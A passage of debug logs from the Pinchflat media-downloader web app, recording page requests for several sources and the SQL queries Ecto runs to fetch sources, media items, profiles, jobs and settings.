>= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:03:13.324 [debug] QUERY OK source="media_items" db=0.9ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:13.324 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:13.325 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:03:13.326 [debug] QUERY OK source="media_items" db=0.5ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:13.326 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:13.327 [debug] QUERY OK source="media_items" db=0.5ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:03:13.328 [debug] QUERY OK source="media_items" db=0.9ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:13.329 [info] Sent 200 in 18ms 06:03:13.479 [info] GET /sources/30/ 06:03:13.479 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:03:13.481 [debug] QUERY OK source="sources" db=0.6ms idle=155.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:13.482 [debug] QUERY OK source="media_profiles" db=0.5ms idle=155.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:13.483 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=155.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 06:03:13.484 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=156.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 06:03:13.485 [debug] QUERY OK source="settings" db=0.1ms idle=156.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.485 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.485 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.487 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:13.487 [debug] QUERY OK source="media_items" db=0.5ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 06:03:13.488 [debug] QUERY OK source="media_items" db=0.8ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:13.489 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:13.489 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 06:03:13.490 [debug] QUERY OK source="media_items" db=0.5ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:13.491 [debug] QUERY OK source="sources" db=0.0ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:13.492 [debug] QUERY OK source="media_items" db=0.6ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 06:03:13.493 [debug] QUERY OK source="media_items" db=0.7ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:13.494 [info] Sent 200 in 14ms 06:03:13.642 [info] GET /sources/35 06:03:13.642 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 06:03:13.643 [debug] QUERY OK source="sources" db=0.4ms idle=153.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:13.644 [debug] QUERY OK source="media_profiles" db=0.6ms idle=153.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:13.646 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=153.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 06:03:13.647 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=154.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 06:03:13.648 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=155.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.649 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.650 [debug] QUERY OK source="settings" db=0.3ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.655 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:13.656 [debug] QUERY OK source="media_items" db=0.8ms idle=8.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 06:03:13.658 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=7.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:13.660 [debug] QUERY OK source="sources" db=0.4ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:13.660 [debug] QUERY OK source="media_items" db=0.3ms idle=9.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 06:03:13.661 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:13.665 [debug] QUERY OK source="sources" db=0.5ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:13.666 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=7.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 06:03:13.668 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=7.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:13.673 [info] Sent 200 in 30ms 06:03:13.818 [info] GET /sources/35/ 06:03:13.819 